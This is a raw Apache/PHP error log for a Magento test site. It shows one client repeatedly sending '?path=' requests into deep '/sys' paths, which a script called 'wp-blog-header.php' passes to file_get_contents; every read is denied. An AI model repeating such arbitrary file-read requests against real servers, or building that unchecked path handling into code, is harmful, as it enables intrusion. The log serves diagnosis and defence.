[Thu Mar 26 11:08:00.580365 2026] [php:warn] [pid 3106758] [client 74.7.241.26:32782] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ba/subsystem/devices/device:ad/device:ae/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ba/subsystem/devices/device:ad/device:ae/subsystem/devices/device:da
[Thu Mar 26 11:08:01.648716 2026] [php:warn] [pid 3106758] [client 74.7.241.26:32782] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
[Thu Mar 26 11:08:02.087720 2026] [php:warn] [pid 3106758] [client 74.7.241.26:32782] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ce/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ce/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa
[Thu Mar 26 11:08:07.504678 2026] [php:warn] [pid 3106758] [client 74.7.241.26:32782] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:fb/device:fc/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:fb/device:fc/subsystem/devices/device:ee
[Thu Mar 26 11:08:08.519018 2026] [php:warn] [pid 3106758] [client 74.7.241.26:32782] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec
[Thu Mar 26 11:08:11.717439 2026] [php:warn] [pid 3106758] [client 74.7.241.26:32782] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/device:ac/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/device:ac/subsystem/devices/device:cc
[Thu Mar 26 11:08:14.390354 2026] [php:warn] [pid 3106758] [client 74.7.241.26:32782] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:fb/device:fc/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:fb/device:fc/subsystem/devices/device:cc
[Thu Mar 26 11:08:17.024512 2026] [php:warn] [pid 3106758] [client 74.7.241.26:32782] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ab/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ab/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba
[Thu Mar 26 11:08:19.124057 2026] [php:warn] [pid 3106758] [client 74.7.241.26:32782] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa/subsystem/drivers/ec
[Thu Mar 26 11:08:21.285370 2026] [php:warn] [pid 3106758] [client 74.7.241.26:32782] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/device:ce/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/device:ce/subsystem/devices/device:ca
[Thu Mar 26 11:08:28.656064 2026] [php:warn] [pid 3106758] [client 74.7.241.26:32782] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:db/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:db/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
[Thu Mar 26 11:08:29.148016 2026] [php:warn] [pid 3106758] [client 74.7.241.26:32782] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ab/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ab/subsystem/devices/device:ce
[Thu Mar 26 11:08:35.208552 2026] [php:warn] [pid 3106758] [client 74.7.241.26:32782] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce/subsystem/devices/device:ee
[Thu Mar 26 11:08:37.707242 2026] [php:warn] [pid 3106758] [client 74.7.241.26:32782] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:fd/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:fd/device:fe
[Thu Mar 26 11:08:43.260983 2026] [php:warn] [pid 3106758] [client 74.7.241.26:32782] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
[Thu Mar 26 11:08:45.250540 2026] [php:warn] [pid 3106758] [client 74.7.241.26:32782] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/device:ee/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/device:ee/subsystem/devices/device:ca
[Thu Mar 26 11:08:45.859302 2026] [php:warn] [pid 3106758] [client 74.7.241.26:32782] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe/subsystem/devices/device:ce
[Thu Mar 26 11:08:47.425552 2026] [php:warn] [pid 3106758] [client 74.7.241.26:32782] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa/subsystem/devices/device:ac
[Thu Mar 26 11:08:49.162441 2026] [php:warn] [pid 3106381] [client 74.7.241.26:55930] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc
[Thu Mar 26 11:08:50.191644 2026] [php:warn] [pid 3106381] [client 74.7.241.26:55930] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:bb/device:bc/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:bb/device:bc/subsystem/devices/device:ee
[Thu Mar 26 11:08:50.716605 2026] [php:warn] [pid 3106381] [client 74.7.241.26:55930] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe
[Thu Mar 26 11:08:52.225850 2026] [php:warn] [pid 3106381] [client 74.7.241.26:55930] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/device:ac/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/device:ac/subsystem/devices/device:da
[Thu Mar 26 11:08:52.713511 2026] [php:warn] [pid 3106381] [client 74.7.241.26:55930] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cf/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cf/subsystem/devices/device:ec
[Thu Mar 26 11:08:54.368607 2026] [php:warn] [pid 3106381] [client 74.7.241.26:55930] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bb/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bb/subsystem/devices/device:ec
[Thu Mar 26 11:08:54.916775 2026] [php:warn] [pid 3106381] [client 74.7.241.26:55930] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:df/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:df/subsystem/devices/device:ce
[Thu Mar 26 11:09:00.810418 2026] [php:warn] [pid 3106381] [client 74.7.241.26:55930] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be/subsystem/drivers/ec
[Thu Mar 26 11:09:04.543246 2026] [php:warn] [pid 3106381] [client 74.7.241.26:55930] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc/subsystem/devices/device:ce
[Thu Mar 26 11:09:09.248699 2026] [php:warn] [pid 3106381] [client 74.7.241.26:55930] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dd/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dd/subsystem/devices/device:aa
[Thu Mar 26 11:09:10.782299 2026] [php:warn] [pid 3106381] [client 74.7.241.26:55930] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:df/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:df/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
[Thu Mar 26 11:09:14.502611 2026] [php:warn] [pid 3106381] [client 74.7.241.26:55930] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ba/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ba/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce
[Thu Mar 26 11:09:16.586686 2026] [php:warn] [pid 3106381] [client 74.7.241.26:55930] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:eb/device:ec/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:eb/device:ec/subsystem/devices/device:fe
[Thu Mar 26 11:09:23.588091 2026] [php:warn] [pid 3106381] [client 74.7.241.26:55930] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac/subsystem/devices/device:ea
[Thu Mar 26 11:09:32.708153 2026] [php:warn] [pid 3106381] [client 74.7.241.26:55930] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:fd/device:fe/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:fd/device:fe/subsystem/devices/device:bc
[Thu Mar 26 11:09:33.215010 2026] [php:warn] [pid 3106381] [client 74.7.241.26:55930] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ba/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ba/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe
[Thu Mar 26 11:09:34.826469 2026] [php:warn] [pid 3106381] [client 74.7.241.26:55930] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:db/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:db/subsystem/drivers/ac
[Thu Mar 26 11:09:35.932764 2026] [php:warn] [pid 3106381] [client 74.7.241.26:55930] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc
[Thu Mar 26 11:09:36.460648 2026] [php:warn] [pid 3106381] [client 74.7.241.26:55930] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bd/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bd/subsystem/drivers/ac
[Thu Mar 26 11:09:36.967009 2026] [php:warn] [pid 3106381] [client 74.7.241.26:55930] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:db/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:db/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
[Thu Mar 26 11:09:38.006855 2026] [php:warn] [pid 3106381] [client 74.7.241.26:55930] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fb/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fb/subsystem/devices/device:ce
[Thu Mar 26 11:09:38.563214 2026] [php:warn] [pid 3106381] [client 74.7.241.26:55930] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cf/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cf/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
[Thu Mar 26 11:09:40.710571 2026] [php:warn] [pid 3106381] [client 74.7.241.26:55930] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:bb/device:bc/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:bb/device:bc/subsystem/devices/device:ae
[Thu Mar 26 11:09:41.161295 2026] [php:warn] [pid 3106381] [client 74.7.241.26:55930] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/device:ee/subsystem/drivers/tpm_crb/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/device:ee/subsystem/drivers/tpm_crb
[Thu Mar 26 11:09:43.040905 2026] [php:warn] [pid 3106405] [client 74.7.241.26:52770] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:dc/subsystem/devices/device:dd/device:de/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:dc/subsystem/devices/device:dd/device:de
[Thu Mar 26 11:09:45.087498 2026] [php:warn] [pid 3106405] [client 74.7.241.26:52770] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea/subsystem/devices/device:ca
